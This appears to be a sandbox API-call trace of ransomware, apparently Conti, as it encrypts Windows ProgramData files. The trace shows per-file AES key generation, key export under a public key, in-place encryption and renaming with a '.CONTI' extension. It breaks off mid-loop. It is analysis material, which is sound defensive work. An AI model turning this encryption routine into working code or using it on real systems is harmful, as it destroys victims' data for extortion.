	[0113.481] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x65c3080 | out: phKey=0x65c3080*=0x17c7870) returned 1
	[0113.481] CryptExportKey (in: hKey=0x17c7870, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65c3084, pdwDataLen=0x393fdd4 | out: pbData=0x65c3084*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0113.482] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\618__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\618__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0113.482] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\618__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\618__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0113.483] GetLastError () returned 0x0
	[0113.483] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=459) returned 1
	[0113.483] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb
	[0113.483] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.483] SetEndOfFile (hFile=0x3e4) returned 1
	[0114.885] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.885] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.940] WriteFile (in: hFile=0x3e4, lpBuffer=0x65c3084*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x65c3084*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0114.942] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.942] ReadFile (in: hFile=0x3e4, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x1cb, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x1cb, lpOverlapped=0x0) returned 1
	[0114.942] CryptEncrypt (in: hKey=0x17c7870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x1cb, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x1d0) returned 1
	[0114.942] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.942] WriteFile (in: hFile=0x3e4, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x1d0, lpOverlapped=0x0) returned 1
	[0114.942] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.942] WriteFile (in: hFile=0x3e4, lpBuffer=0x65c3078*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x65c3078*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0114.943] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.943] CloseHandle (hObject=0x3e4) returned 1
	[0114.943] GetProcessHeap () returned 0x1720000
	[0114.943] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0114.943] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\618__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\618__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\618__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0114.943] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\618__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\618__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\618__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0114.943] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\618__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\618__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\618__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\618__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0114.944] GetProcessHeap () returned 0x1720000
	[0114.944] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0114.944] CryptDestroyKey (hKey=0x17c7870) returned 1
	[0114.944] GetProcessHeap () returned 0x1720000
	[0114.944] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ccc70 | out: hHeap=0x1720000) returned 1
	[0114.944] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0114.944] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x65d8980 | out: phKey=0x65d8980*=0x6b7f338) returned 1
	[0114.944] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d8984, pdwDataLen=0x393fdd4 | out: pbData=0x65d8984*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0114.945] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013.xml")) returned 0x20
	[0114.947] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.947] GetLastError () returned 0x5
	[0114.947] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0114.947] GetProcessHeap () returned 0x1720000
	[0114.947] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173e8b8 | out: hHeap=0x1720000) returned 1
	[0114.947] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0114.947] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x65d7e18 | out: phKey=0x65d7e18*=0x6b7f1f8) returned 1
	[0114.947] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d7e1c, pdwDataLen=0x393fdd4 | out: pbData=0x65d7e1c*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0114.948] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013backup.xml")) returned 0x20
	[0114.949] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftInternetExplorer2013Backup.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftinternetexplorer2013backup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.949] GetLastError () returned 0x5
	[0114.949] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0114.949] GetProcessHeap () returned 0x1720000
	[0114.949] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732cc0 | out: hHeap=0x1720000) returned 1
	[0114.949] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0114.949] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x65dabb8 | out: phKey=0x65dabb8*=0x6b7f4f8) returned 1
	[0114.949] CryptExportKey (in: hKey=0x6b7f4f8, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dabbc, pdwDataLen=0x393fdd4 | out: pbData=0x65dabbc*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0114.950] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win32.xml")) returned 0x20
	[0114.951] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.951] GetLastError () returned 0x5
	[0114.951] CryptDestroyKey (hKey=0x6b7f4f8) returned 1
	[0114.951] GetProcessHeap () returned 0x1720000
	[0114.951] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181c268 | out: hHeap=0x1720000) returned 1
	[0114.951] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0114.951] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x65d9978 | out: phKey=0x65d9978*=0x6b7f1f8) returned 1
	[0114.951] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d997c, pdwDataLen=0x393fdd4 | out: pbData=0x65d997c*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0114.952] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win64.xml")) returned 0x20
	[0114.953] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftLync2013Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftlync2013win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.953] GetLastError () returned 0x5
	[0114.953] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0114.953] GetProcessHeap () returned 0x1720000
	[0114.953] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181bab0 | out: hHeap=0x1720000) returned 1
	[0114.953] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0114.953] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x65db048 | out: phKey=0x65db048*=0x6b7f378) returned 1
	[0114.953] CryptExportKey (in: hKey=0x6b7f378, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65db04c, pdwDataLen=0x393fdd4 | out: pbData=0x65db04c*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0114.954] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win32.xml")) returned 0x20
	[0114.954] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2010Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2010win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.956] GetLastError () returned 0x5
	[0114.956] CryptDestroyKey (hKey=0x6b7f378) returned 1
	[0114.956] GetProcessHeap () returned 0x1720000
	[0114.956] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17400b0 | out: hHeap=0x1720000) returned 1
	[0114.956] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0114.956] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x65da970 | out: phKey=0x65da970*=0x6b7f2b8) returned 1
	[0114.956] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65da974, pdwDataLen=0x393fdd4 | out: pbData=0x65da974*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0114.957] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin32.xml")) returned 0x20
	[0114.958] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.958] GetLastError () returned 0x5
	[0114.958] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0114.958] GetProcessHeap () returned 0x1720000
	[0114.958] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173eca8 | out: hHeap=0x1720000) returned 1
	[0114.958] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0114.958] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x65dc040 | out: phKey=0x65dc040*=0x6b7f2b8) returned 1
	[0114.958] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65dc044, pdwDataLen=0x393fdd4 | out: pbData=0x65dc044*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0114.959] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin64.xml")) returned 0x20
	[0114.960] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013BackupWin64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013backupwin64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.960] GetLastError () returned 0x5
	[0114.960] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0114.960] GetProcessHeap () returned 0x1720000
	[0114.960] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173f3e0 | out: hHeap=0x1720000) returned 1
	[0114.960] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0114.960] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x65d7bd0 | out: phKey=0x65d7bd0*=0x6b7f2b8) returned 1
	[0114.960] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d7bd4, pdwDataLen=0x393fdd4 | out: pbData=0x65d7bd4*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0114.961] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win64.xml")) returned 0x20
	[0114.961] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Office365Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013office365win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.962] GetLastError () returned 0x5
	[0114.962] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0114.962] GetProcessHeap () returned 0x1720000
	[0114.962] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6560a30 | out: hHeap=0x1720000) returned 1
	[0114.962] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0114.962] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x65d8bc8 | out: phKey=0x65d8bc8*=0x6b7f538) returned 1
	[0114.962] CryptExportKey (in: hKey=0x6b7f538, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d8bcc, pdwDataLen=0x393fdd4 | out: pbData=0x65d8bcc*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0114.962] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win32.xml")) returned 0x20
	[0114.964] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2013Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2013win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.964] GetLastError () returned 0x5
	[0114.964] CryptDestroyKey (hKey=0x6b7f538) returned 1
	[0114.964] GetProcessHeap () returned 0x1720000
	[0114.964] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17401f0 | out: hHeap=0x1720000) returned 1
	[0114.964] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0114.964] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x65d9bc0 | out: phKey=0x65d9bc0*=0x6b7f2b8) returned 1
	[0114.964] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d9bc4, pdwDataLen=0x393fdd4 | out: pbData=0x65d9bc4*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0114.965] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin32.xml")) returned 0x20
	[0114.965] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016BackupWin32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016backupwin32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.967] GetLastError () returned 0x5
	[0114.967] CryptDestroyKey (hKey=0x6b7f2b8) returned 1
	[0114.967] GetProcessHeap () returned 0x1720000
	[0114.967] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173e6c0 | out: hHeap=0x1720000) returned 1
	[0114.967] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0114.967] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x65db720 | out: phKey=0x65db720*=0x6b7f1f8) returned 1
	[0114.967] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65db724, pdwDataLen=0x393fdd4 | out: pbData=0x65db724*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0114.968] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win32.xml")) returned 0x20
	[0114.969] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win32.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win32.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.969] GetLastError () returned 0x5
	[0114.969] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0114.969] GetProcessHeap () returned 0x1720000
	[0114.969] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173f930 | out: hHeap=0x1720000) returned 1
	[0114.969] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0114.969] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x65db4d8 | out: phKey=0x65db4d8*=0x6b7f538) returned 1
	[0114.969] CryptExportKey (in: hKey=0x6b7f538, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65db4dc, pdwDataLen=0x393fdd4 | out: pbData=0x65db4dc*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0114.970] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win64.xml")) returned 0x20
	[0114.971] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\UEV\\InboxTemplates\\MicrosoftOffice2016Win64.xml" (normalized: "c:\\programdata\\microsoft\\uev\\inboxtemplates\\microsoftoffice2016win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0114.971] GetLastError () returned 0x5
	[0114.971] CryptDestroyKey (hKey=0x6b7f538) returned 1
	[0114.971] GetProcessHeap () returned 0x1720000
	[0114.971] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173fb10 | out: hHeap=0x1720000) returned 1
	[0114.971] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0114.972] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x65d94e8 | out: phKey=0x65d94e8*=0x6b7f2b8) returned 1
	[0114.972] CryptExportKey (in: hKey=0x6b7f2b8, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d94ec, pdwDataLen=0x393fdd4 | out: pbData=0x65d94ec*, pdwDataLen=0x393fdd4*=0x20c) returned 1
